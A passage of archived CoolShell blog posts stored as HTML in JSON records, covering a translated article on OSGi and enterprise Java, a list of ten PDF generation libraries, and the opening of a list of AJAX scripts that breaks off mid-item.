    "content": "<html><body><p><strong>摘要</strong>： OSGi也是译者最近才接触到的技术，但是在OSGi的发展中，它越来越收到了来自行业的关注。作为OSGi的动态部署，译者认为此项规范对于企业应用应该是非常有帮助的。特别在银行的信息化建设中将会起到很重要的作用，因为国内大多的银行业都在强调7*24小时系统，但是其业务发展又非常迅速，常常有新需求，新变更。如果每一次上线变更都将重启系统的话，对银行的服务质量和形象将会造成较大的影响。 此文只是讲述了OSGi在Java企业运算中的新动向，并没有具体的介绍OSGi的规范。关于OSGi规范的文档可以从jcp上下载</p>\n<p>原文出处：<a href=\"http://itknowledgeexchange.techtarget.com/soa-talk/osgi-and-future-directions-for-enterprise-java/\" target=\"_self\">这里</a><br/>\n<strong></strong></p>\n<p><strong>OSGi和Java企业级运算的未来方向</strong></p>\n<p>by Eric Newcomer</p>\n<p>无论JCP是否完全的迷失了它的方向，它都不同程度受到来自外部活动的影响。Spring框架和Hibernate影响了EJB3，而且JPA也是一个好的例子。另外日渐感觉到的影响来自于对OSGi规范的采用和其实现，特别是实现了OSGi的开源的Eclipse Equinox，Apache Felix和Knoplerfish框架</p>\n<p><span id=\"more-294\"></span></p>\n<p>OSGi规范为Java定义动态模组元信息系统和在其交互模组中的面向服务的编程模型。这个规范定义了一个为服务查找的注册表，还定义了一组通用功能集合，例如安全，生命周期管理，日志等。OSGi的框架如今已经被Eclipse基金采用，许多的主要Java厂商采用这个规范来开发中间件产品，同时OSGi也被很多开源项目组采用，包括用来开发应用服务器，企业服务总线，和集成开发环境。</p>\n<p>作为在商业产品和开源项目中广泛被使用的的核心平台，OSGi联盟开始接收到来自更复杂的的对企业应用的支持需求。在1999年,OSGi规范最初是JSR-8，主要的目的是用于家庭自助网关(home automation gateways)。自从那时起，OSGi技术就被在各种个样自助，移动电话，和家庭娱乐的嵌入应用程序所使用。2006年的8月份，OSGi联盟，接收许多关注于OSGi企业版本的建议并举行一个关于讨论成立一个OSGi企业专家组(EEG）可能性的会议。</p>\n<p>自从2007年1月第一次会议一来，OSGi企业专家组EEG用了两年时间编写了致力于使OSGi更好支持企业级Java应用的需求细节和设计细节。这个工作的成果是：在2009年年中，将会对OSGi规范有一个主要的更新(两个的草案版本已经发布)，这个修改主要包括扩展了核心框架服务和定义现有存在企业Java技术与OSGi框架的接口以满足业务应用需求的案例。主要的特性包括被称为蓝图服务(Blueprint Service)Spring框架组件模型到OSGi服务模型的映射和分布计算协议到OSGi服务模型的映射, JavaEE映射的关键部分是Web apps,JDBC,JPA,JMX,JTA,JNDI,和JAAS。</p>\n<p>软件行业已经接受并支持OSGi带来的模组化的好处，下一个改进将会是通过适配已经用于企业运算的Java技术接口，进而对企业级Java应用的支撑。这个目标将帮助OSGi的开发人员更容易的以标准的方式创建企业服务务应用程序。</p>\n<p>Eric Newcomer是分布计算的专家和独立咨询师，Newcomer是OSGi企业专家组的主席，之前他是IONA技术公司的CTO.他在<a href=\"http://modualrit.blogspot.com/\" target=\"_blank\"> blog on OSGi</a>发布了很多的OSGi的文章<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11541.html\"><img alt=\"面向GC的Java编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11541.html\">面向GC的Java编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11454.html\"><img alt=\"从LongAdder看更高效的无锁实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11454.html\">从LongAdder看更高效的无锁实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11175.html\"><img alt=\"Java中的CopyOnWrite容器\" height=\"150\" src=\"../wp-content/uploads/2014/03/cow-copy-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11175.html\">Java中的CopyOnWrite容器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9703.html\"><img alt=\"无锁HashMap的原理与实现\" height=\"150\" src=\"../wp-content/uploads/2013/05/图1-3-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9703.html\">无锁HashMap的原理与实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/294.html\">OSGi和Java企业级运算的未来方向</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-3-31 十个最好的PDF生成库.html",
    "content": "<html><body><p></p>\n<h2>1）FPDF</h2>\n<p><a href=\"http://www.fpdf.org/\">http://www.fpdf.org/</a>。这是一个纯PHP的库，它没有使用PDFlib。完全免费。没有任何license的限制。</p>\n<p><a href=\"http://www.fpdf.org/\" rel=\"nofollow\"><img alt=\"\" src=\"http://www.ajaxline.com/files/logo.gif\"/></a></p>\n<h2><a href=\"http://www.fpdf.org/\" rel=\"nofollow\"></a> 2）iText</h2>\n<p><a href=\"http://www.lowagie.com/iText/\">http://www.lowagie.com/iText/</a>。 这是一个基于Java的库。iText#则是一个基于.NET的库。使用MPL/LGPL的license。</p>\n<p><a href=\"http://www.lowagie.com/iText/\" rel=\"nofollow\"><img alt=\"\" src=\"http://www.ajaxline.com/files/ilogo.gif\"/></a> </p>\n<p><span id=\"more-309\"></span></p>\n<h2>3）AlivePDF</h2>\n<p><a href=\"http://www.alivepdf.org/\">http://www.alivepdf.org/</a>。这是基于ActionScripts 3的PDF文件生成库。MIT license。</p>\n<p><a href=\"http://www.alivepdf.org/\" rel=\"nofollow\"><img alt=\"\" src=\"http://www.ajaxline.com/files/alive.png\"/></a> </p>\n<h2>4）Prawn</h2>\n<p><a href=\"http://prawn.majesticseacreature.com/\">http://prawn.majesticseacreature.com/</a>。这是一个Ruby的PDF文件生成的库。</p>\n<p><a href=\"http://prawn.majesticseacreature.com/\" rel=\"nofollow\"><img alt=\"\" height=\"147\" src=\"http://www.ajaxline.com/files/prawn_logo.png\" width=\"146\"/></a> </p>\n<h2>5） TCPDF</h2>\n<p><a href=\"http://www.tcpdf.org/\">http://www.tcpdf.org/</a>。这又是一个PHP的PDF文件生成库。LGPL license。</p>\n<p><a href=\"http://www.tcpdf.org/\" rel=\"nofollow\"><img alt=\"\" src=\"http://www.ajaxline.com/files/tcpdf.png\"/></a>  </p>\n<h2>6）PDFSharp</h2>\n<p><a href=\"http://pdfsharp.com/PDFsharp/\">http://pdfsharp.com/PDFsharp/</a>。基于.NET。</p>\n<p><a href=\"http://pdfsharp.com/PDFsharp/\" rel=\"nofollow\"><img alt=\"\" src=\"http://www.ajaxline.com/files/PDFsharp.gif\"/></a> </p>\n<h2>7）libHaru</h2>\n<p><a href=\"http://libharu.org/wiki/Main_Page\">http://libharu.org/wiki/Main_Page</a>。这是一个跨平台C++的开源的PDF文件生成的库。ZLIB/LIBPNG License</p>\n<p><a href=\"http://libharu.org/wiki/Main_Page\" rel=\"nofollow\"><img alt=\"\" src=\"http://www.ajaxline.com/files/haru.png\"/></a> </p>\n<h2>8）Apache FOP</h2>\n<p><a href=\"http://xmlgraphics.apache.org/fop/\">http://xmlgraphics.apache.org/fop/</a>。Java语言，输入支持PDF, PS, PCL, AFP, XML (树形表示), Print, AWT 和PNG格式。</p>\n<p><a href=\"http://xmlgraphics.apache.org/fop/\" rel=\"nofollow\"><img alt=\"\" src=\"http://www.ajaxline.com/files/fop.jpg\"/></a> </p>\n<h2>9）PDF  Clown</h2>\n<p><a href=\"http://www.stefanochizzolini.it/en/projects/clown/\">http://www.stefanochizzolini.it/en/projects/clown/</a>。这是一个基于Java和.NET的开源项目。需要Java 1.5+和C# 2.0。</p>\n<p><a href=\"http://www.stefanochizzolini.it/en/projects/clown/\" rel=\"nofollow\"><img alt=\"\" src=\"http://www.ajaxline.com/files/pdfClown.png\"/></a> </p>\n<h2>10）Reportlab Toolkit</h2>\n<p><a href=\"http://www.reportlab.org/rl_toolkit.html\">http://www.reportlab.org/rl_toolkit.html</a>。这是一个基于python的库，包含PDF和XML等解析。</p>\n<p>文章：<a href=\"http://www.ajaxline.com/10-best-libraries-for-generating-pdf\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/424.html\"><img alt=\"PDF电子书搜索引擎\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/424.html\">PDF电子书搜索引擎</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1032.html\"><img alt=\"Unix 40年：Unix年鉴\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1032.html\">Unix 40年：Unix年鉴</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1626.html\"><img alt=\"ldd 的一个安全问题\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1626.html\">ldd 的一个安全问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1619.html\"><img alt=\"Windows 7 的新粉丝 Linus Torvalds\" height=\"150\" src=\"../wp-content/uploads/2009/10/Linus_windows_7-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1619.html\">Windows 7 的新粉丝 Linus Torvalds</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2109.html\"><img alt=\"Python处理encoding的小技巧\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2109.html\">Python处理encoding的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3207.html\"><img alt=\"30+ Web下拉菜单\" height=\"150\" src=\"../wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-5-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3207.html\">30+ Web下拉菜单</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/309.html\">十个最好的PDF生成库</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-3-7 80个优秀的AJAX方案.html",
    "content": "<html><body><p>Ajax作为一种WEB上的技术，已经广被开发人员接受，在过去的两三年内，互联网上涌现出了很多很多的很有创意的Ajax的解决方案，令人赞叹。这里，介绍了80以上的AJAX用法以及其脚本资源，希望对你的开发有帮助。</p>\n<h1><strong>Auto Complete Scripts</strong></h1>\n<p>1. <a href=\"http://www.brandspankingnew.net/archive/2006/08/ajax_auto-suggest_auto-complete.html\" target=\"_blank\">AJAX AutoSuggest</a><br/>\n<a href=\"http://www.brandspankingnew.net/archive/2006/08/ajax_auto-suggest_auto-complete.html\"><img alt=\"\" class=\"alignnone size-full wp-image-38\" height=\"260\" src=\"../wp-content/uploads/2009/02/ajax-autosuggest1.png\" title=\"ajax-autosuggest1\" width=\"400\"/></a></p>\n<p><span id=\"more-57\"></span></p>\n<p>2. <a href=\"http://demo.script.aculo.us/ajax/autocompleter_customized\" target=\"_blank\">AJAX Autocompleter / script.aculo.us library</a><br/>\n<a href=\"http://demo.script.aculo.us/ajax/autocompleter_customized\"><img alt=\"\" class=\"size-full wp-image-37 alignnone\" height=\"260\" src=\"../wp-content/uploads/2009/02/ajax-autocompleter-scriptaculous-library.png\" title=\"ajax-autocompleter-scriptaculous-library\" width=\"400\"/></a></p>\n<p>3. <a href=\"http://digitarald.de/playground/auto2.html\" target=\"_blank\">AJAX AutoCompleter</a><br/>\n<a href=\"http://digitarald.de/playground/auto2.html\"><img alt=\"\" class=\"size-full wp-image-39 alignnone\" height=\"140\" src=\"../wp-content/uploads/2009/02/ajax-autocompleter.png\" title=\"ajax-autocompleter\" width=\"400\"/></a></p>\n<p>4. <a href=\"http://www.roscripts.com/Ajax_autosuggest_autocomplete_from_database-154.html\" target=\"_blank\">Ajax autosuggest/autocomplete from database</a><br/>\n<a href=\"http://www.roscripts.com/Ajax_autosuggest_autocomplete_from_database-154.html\"><img alt=\"\" class=\"size-full wp-image-40 alignnone\" height=\"140\" src=\"../wp-content/uploads/2009/02/ajax-autosuggest-autocomplete-from-database.png\" title=\"ajax-autosuggest-autocomplete-from-database\" width=\"400\"/></a></p>\n<p>5. <a href=\"http://www.dhtmlgoodies.com/index.html?whichScript=ajax-dynamic-list\" target=\"_blank\">Ajax dynamic list</a><br/>\n<a href=\"http://www.dhtmlgoodies.com/index.html?whichScript=ajax-dynamic-list\"><img alt=\"\" class=\"size-full wp-image-41 alignnone\" height=\"260\" src=\"../wp-content/uploads/2009/02/ajax-dynamic-list.png\" title=\"ajax-dynamic-list\" width=\"401\"/></a></p>\n<h3><strong>Instant Editor Scripts</strong></h3>\n<p>6. <a href=\"http://www.yvoschaap.com/index.php/weblog/ajax_inline_instant_update_text_20/\" target=\"_blank\">AJAX inline text edit 2.0</a><br/>\n<a href=\"http://www.yvoschaap.com/index.php/weblog/ajax_inline_instant_update_text_20/\"><img alt=\"\" class=\"size-full wp-image-42 alignnone\" height=\"260\" src=\"../wp-content/uploads/2009/02/ajax-inline-text-edit-20.png\" title=\"ajax-inline-text-edit-20\" width=\"400\"/></a></p>\n<p>7. <a href=\"http://dbachrach.com/blog/2007/01/07/create-flickr-like-editing-fields-using-ajax-css/\" target=\"_blank\">AJAX &amp; CSS Flickr-like Editing Fields</a><br/>\n<a href=\"http://dbachrach.com/blog/2007/01/07/create-flickr-like-editing-fields-using-ajax-css/\"><img alt=\"\" class=\"alignnone size-full wp-image-139\" height=\"260\" src=\"../wp-content/uploads/2009/02/ajax-css-flickr-like-editing-fields1.png\" title=\"ajax-css-flickr-like-editing-fields1\" width=\"400\"/></a><a href=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-css-flickr-like-editing-fields.png\"><br/>\n</a></p>\n<p>8. <a href=\"http://www.ideasfreelance.com/lab/instant_edit/\" target=\"_blank\">AJAX Instant Edit</a><br/>\n<a href=\"http://www.ideasfreelance.com/lab/instant_edit/\"><img alt=\"\" class=\"size-full wp-image-44 alignnone\" height=\"260\" src=\"../wp-content/uploads/2009/02/ajax-instant-edit.png\" title=\"ajax-instant-edit\" width=\"400\"/></a></p>\n<h3><strong>Tab and Menu Scripts</strong></h3>\n<p>9. <a href=\"http://www.smashingmagazine.com/2007/04/18/14-tab-based-inferface-techniques/\" target=\"_blank\">14 Tab-Based Interface Techniques</a><br/>\n<a href=\"http://www.smashingmagazine.com/2007/04/18/14-tab-based-inferface-techniques/\"><img alt=\"\" class=\"size-full wp-image-45 alignnone\" height=\"260\" src=\"../wp-content/uploads/2009/02/14-tab-based-interface-techniques.png\" title=\"14-tab-based-interface-techniques\" width=\"400\"/></a></p>\n<p>10. <a href=\"http://demos.mootools.net/Accordion\" target=\"_blank\">AJAX Accordion Navigation</a><br/>\n<a href=\"http://demos.mootools.net/Accordion\"><img alt=\"\" class=\"size-full wp-image-47 alignnone\" height=\"260\" src=\"../wp-content/uploads/2009/02/ajax-accordion-navigation1.png\" title=\"ajax-accordion-navigation1\" width=\"400\"/></a></p>\n<p>11. <a href=\"http://extjs.com/deploy/ext/docs/\" target=\"_blank\">AJAX Dialogs, Menus, Grids, Trees and Views</a><br/>\n<a href=\"http://extjs.com/deploy/ext/docs/\"><img alt=\"\" class=\"alignnone size-full wp-image-54\" height=\"260\" src=\"../wp-content/uploads/2009/02/ajax-dialogs-menus-grids-trees-and-views.png\" title=\"ajax-dialogs-menus-grids-trees-and-views\" width=\"400\"/></a></p>\n<p>12. <a href=\"http://www.nodetraveller.com/sandbox/moduleTabs/closeable.php\" target=\"_blank\">AJAX Tab Module – Closeable Implementation</a><br/>\n<a href=\"http://www.nodetraveller.com/sandbox/moduleTabs/closeable.php\"><img alt=\"\" class=\"alignnone size-full wp-image-55\" height=\"197\" src=\"../wp-content/uploads/2009/02/ajax-tab-module-closeable-implementation.png\" title=\"ajax-tab-module-closeable-implementation\" width=\"400\"/></a></p>\n<p>13. <a href=\"http://www.dynamicdrive.com/dynamicindex17/ajaxtabscontent/\" target=\"_blank\">Ajax Tabs Content</a><br/>\n<a href=\"http://www.dynamicdrive.com/dynamicindex17/ajaxtabscontent/\"><img alt=\"\" class=\"alignnone size-full wp-image-56\" height=\"206\" src=\"../wp-content/uploads/2009/02/ajax-tabs-content.png\" title=\"ajax-tabs-content\" width=\"400\"/></a></p>\n<p>14. <a href=\"http://www.silverscripting.com/mootabs/\" target=\"_blank\">MooTabs – Tiny tab class for MooTools</a><br/>\n<a href=\"http://www.silverscripting.com/mootabs/\"><img alt=\"\" class=\"alignnone size-full wp-image-57\" height=\"237\" src=\"../wp-content/uploads/2009/02/mootabs-tiny-tab-class-for-mootools.png\" title=\"mootabs-tiny-tab-class-for-mootools\" width=\"400\"/></a></p>\n<p>15. <a href=\"http://www.dhtmlgoodies.com/index.html?whichScript=ajax_dynamicArticles\" target=\"_blank\">Dynamically loaded articles</a><br/>\n<a href=\"http://www.dhtmlgoodies.com/index.html?whichScript=ajax_dynamicArticles\"><img alt=\"\" class=\"alignnone size-full wp-image-58\" height=\"260\" src=\"../wp-content/uploads/2009/02/dynamically-loaded-articles.png\" title=\"dynamically-loaded-articles\" width=\"400\"/></a></p>\n<h3><strong>Calendar/Datetime Scripts</strong></h3>\n<p>16. <a href=\"http://datetime.toolbocks.com/\" target=\"_blank\">AJAX Datetime Toolbocks – Intuitive Date Input Selection</a><br/>\n<a href=\"http://datetime.toolbocks.com/\"><img alt=\"\" class=\"alignnone size-full wp-image-59\" height=\"140\" src=\"../wp-content/uploads/2009/02/ajax-datetime-toolbocks-intuitive-date-input-selection.jpg\" title=\"ajax-datetime-toolbocks-intuitive-date-input-selection\" width=\"400\"/></a></p>\n<p>17. <a href=\"http://www.ribosomatic.com/articulos/10-calendarios-con-php-css-y-javascript/\" target=\"_blank\">AJAX Calendars</a><br/>\n<a href=\"http://www.ribosomatic.com/articulos/10-calendarios-con-php-css-y-javascript/\"><img alt=\"\" class=\"alignnone size-full wp-image-60\" height=\"261\" src=\"../wp-content/uploads/2009/02/ajax-calendars.jpg\" title=\"ajax-calendars\" width=\"400\"/></a></p>\n<h3><strong>Interactive Elements Scripts</strong></h3>\n<p>18. <a href=\"http://prototype-window.xilinus.com/\" target=\"_blank\">AJAX Floating Windows</a><br/>\n<a href=\"http://prototype-window.xilinus.com/\"><img alt=\"\" class=\"alignnone size-full wp-image-61\" height=\"260\" src=\"../wp-content/uploads/2009/02/ajax-floating-windows.png\" title=\"ajax-floating-windows\" width=\"400\"/></a></p>\n<p>19. <a href=\"http://prototype-window.xilinus.com/\" target=\"_blank\">AJAX Star Rating Bar</a><br/>\n<a href=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-star-rating-bar.png\"><img alt=\"\" class=\"alignnone size-full wp-image-62\" height=\"260\" src=\"../wp-content/uploads/2009/02/ajax-star-rating-bar.png\" title=\"ajax-star-rating-bar\" width=\"400\"/></a></p>\n<p>20. <a href=\"http://www.dhtmlgoodies.com/index.html?whichScript=ajax-poller\" target=\"_blank\">Ajax poller</a><br/>\n<a href=\"http://www.dhtmlgoodies.com/index.html?whichScript=ajax-poller\"><img alt=\"\" class=\"alignnone size-full wp-image-140\" height=\"260\" src=\"../wp-content/uploads/2009/02/ajax-poller1.png\" title=\"ajax-poller1\" width=\"400\"/></a><a href=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-poller.png\"></a></p>\n<h3><strong>Developer’s Suite Scripts</strong></h3>\n<p>21. <a href=\"http://digitarald.de/project/historymanager/\" target=\"_blank\">AJAX HistoryManager, Pagination</a><br/>\n<a href=\"http://digitarald.de/project/historymanager/\"><img alt=\"\" class=\"alignnone size-full wp-image-64\" height=\"204\" src=\"../wp-content/uploads/2009/02/ajax-historymanager-pagination.png\" title=\"ajax-historymanager-pagination\" width=\"400\"/></a></p>\n<p>22. <a href=\"http://www.jamesdam.com/ajax_login/login.html\" target=\"_blank\">AJAX Login System Demo</a><br/>\n<a href=\"http://www.jamesdam.com/ajax_login/login.html\"><img alt=\"\" class=\"alignnone size-full wp-image-65\" height=\"260\" src=\"../wp-content/uploads/2009/02/ajax-login-system-demo.png\" title=\"ajax-login-system-demo\" width=\"400\"/></a></p>\n<p>23. <a href=\"http://www.roscripts.com/Javascript_image_preloader-111.html\" target=\"_blank\">AJAX image preloader</a><br/>\n<a href=\"http://www.roscripts.com/Javascript_image_preloader-111.html\"><img alt=\"\" class=\"alignnone size-full wp-image-141\" height=\"130\" src=\"../wp-content/uploads/2009/02/ajax-image-preloader1.png\" title=\"ajax-image-preloader\" width=\"400\"/></a><a href=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-image-preloader.png\"><br/>\n</a></p>\n<p>24. <a href=\"http://www.1976design.com/blog/archive/2003/11/21/nice-titles/\" target=\"_blank\">AJAX Tooltips: Nice Titles revised | Blog | 1976design.com</a><br/>\n<a href=\"http://www.1976design.com/blog/archive/2003/11/21/nice-titles/\"><img alt=\"\" class=\"alignnone size-full wp-image-142\" height=\"157\" src=\"../wp-content/uploads/2009/02/ajax-tooltips-nice-titles-revised-blog-1976design1.gif\" title=\"ajax-tooltips-nice-titles-revised-blog-1976design\" width=\"400\"/></a><a href=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-tooltips-nice-titles-revised-blog-1976design.gif\"></a></p>\n<p>25. <a href=\"http://www.1976design.com/blog/archive/2003/11/21/nice-titles/\" target=\"_blank\">40+ Tooltips Scripts With AJAX, JavaScript &amp; CSS | Smashing Magazine</a><br/>\n<a href=\"http://delimitdesign.com/wp-content/uploads/2009/02/40-tooltips-scripts-with-ajax-javascript-css-smashing-magazine.png\"><img alt=\"\" class=\"alignnone size-full wp-image-70\" height=\"260\" src=\"../wp-content/uploads/2009/02/40-tooltips-scripts-with-ajax-javascript-css-smashing-magazine.png\" title=\"40-tooltips-scripts-with-ajax-javascript-css-smashing-magazine\" width=\"400\"/></a></p>\n<p>26. <a href=\"http://www.mathertel.de/AJAXEngine/S03_AJAXControls/ConnectionsTestPage.aspx\" target=\"_blank\">AJAX Web Controls</a><br/>\n<a href=\"http://www.mathertel.de/AJAXEngine/S03_AJAXControls/ConnectionsTestPage.aspx\"><img alt=\"\" class=\"alignnone size-full wp-image-71\" height=\"260\" src=\"../wp-content/uploads/2009/02/ajax-web-controls.png\" title=\"ajax-web-controls\" width=\"400\"/></a></p>\n<p>27. <a href=\"http://code.google.com/p/syntaxhighlighter/\" target=\"_blank\">AJAX syntaxhighlighter</a><br/>\n<a href=\"http://code.google.com/p/syntaxhighlighter/\"><img alt=\"\" class=\"alignnone size-full wp-image-72\" height=\"260\" src=\"../wp-content/uploads/2009/02/ajax-syntaxhighlighter.png\" title=\"ajax-syntaxhighlighter\" width=\"400\"/></a></p>\n<p>28. <a href=\"http://transparent-message.xilinus.com/\" target=\"_blank\">Transparent Message</a><br/>\n<a href=\"http://transparent-message.xilinus.com/\"><img alt=\"\" class=\"alignnone size-full wp-image-74\" height=\"222\" src=\"../wp-content/uploads/2009/02/transparent-message.png\" title=\"transparent-message\" width=\"400\"/></a></p>\n<p>29. <a href=\"http://wildbit.com/demos/modalbox/\" target=\"_blank\">ModalBox — An easy way to create popups and wizards</a><br/>\n<a href=\"http://wildbit.com/demos/modalbox/\"><img alt=\"\" class=\"alignnone size-full wp-image-75\" height=\"260\" src=\"../wp-content/uploads/2009/02/modalbox-e28094-an-easy-way-to-create-popups-and-wizards.png\" title=\"modalbox-e28094-an-easy-way-to-create-popups-and-wizards\" width=\"399\"/></a></p>\n<p>30. <a href=\"http://www.dhtmlgoodies.com/index.html?whichScript=ajax_chained_select\" target=\"_blank\">Chained select boxes</a><br/>\n<a href=\"http://www.dhtmlgoodies.com/index.html?whichScript=ajax_chained_select\"><img alt=\"\" class=\"alignnone size-full wp-image-76\" height=\"194\" src=\"../wp-content/uploads/2009/02/chained-select-boxes.png\" title=\"chained-select-boxes\" width=\"400\"/></a></p>\n<p>31. <a href=\"http://www.dhtmlgoodies.com/index.html?whichScript=fly-to-basket\" target=\"_blank\">Fly to basket</a><br/>\n<a href=\"http://www.dhtmlgoodies.com/index.html?whichScript=fly-to-basket\"><img alt=\"\" class=\"alignnone size-full wp-image-77\" height=\"260\" src=\"../wp-content/uploads/2009/02/fly-to-basket.png\" title=\"fly-to-basket\" width=\"400\"/></a></p>\n<p>32. <a href=\"http://www.mochikit.com/examples/key_events/index.html\" target=\"_blank\">AJAX Key Events Signal</a><br/>\n<a href=\"http://www.mochikit.com/examples/key_events/index.html\"><img alt=\"\" class=\"alignnone size-full wp-image-81\" height=\"217\" src=\"../wp-content/uploads/2009/02/ajax-key-events-signal.png\" title=\"ajax-key-events-signal\" width=\"400\"/></a></p>\n<p>33. <a href=\"http://www.arraystudio.com/as-workshop/disable-form-submit-on-enter-keypress.html\" target=\"_blank\">Disable form submit on enter keypress</a><br/>\n<a href=\"http://www.arraystudio.com/as-workshop/disable-form-submit-on-enter-keypress.html\"><img alt=\"\" class=\"alignnone size-full wp-image-82\" height=\"260\" src=\"../wp-content/uploads/2009/02/disable-form-submit-on-enter-keypress.png\" title=\"disable-form-submit-on-enter-keypress\" width=\"400\"/></a></p>\n<h3><strong>Enhanced Solutions</strong></h3>\n<p>34. <a href=\"http://www.openrico.org/demos/complex_ajax\" target=\"_blank\">AJAX Instant Completion</a><br/>\n<a href=\"http://www.openrico.org/demos/complex_ajax\"><img alt=\"\" class=\"alignnone size-full wp-image-83\" height=\"260\" src=\"../wp-content/uploads/2009/02/ajax-instant-completion.png\" title=\"ajax-instant-completion\" width=\"400\"/></a></p>\n<p>35. <a href=\"http://novemberborn.net/javascript/event-cache\" target=\"_blank\">Novemberborn: Event Cache</a><br/>\n<a href=\"http://novemberborn.net/javascript/event-cache\"><img alt=\"\" class=\"alignnone size-full wp-image-84\" height=\"260\" src=\"../wp-content/uploads/2009/02/novemberborn-event-cache.png\" title=\"novemberborn-event-cache\" width=\"400\"/></a></p>\n<p>36. <a href=\"http://www.shawnolson.net/a/503/altering-css-class-attributes-with-javascript.html\" target=\"_blank\">Altering CSS Class Attributes with JavaScript</a><br/>\n<a href=\"http://www.shawnolson.net/a/503/altering-css-class-attributes-with-javascript.htm\"><img alt=\"\" class=\"alignnone size-full wp-image-85\" height=\"136\" src=\"../wp-content/uploads/2009/02/altering-css-class-attributes-with-javascript.png\" title=\"altering-css-class-attributes-with-javascript\" width=\"400\"/></a></p>\n<p>37. <a href=\"http://www.shawnolson.net/a/1302/select-some-checkboxes-javascript-function.html\" 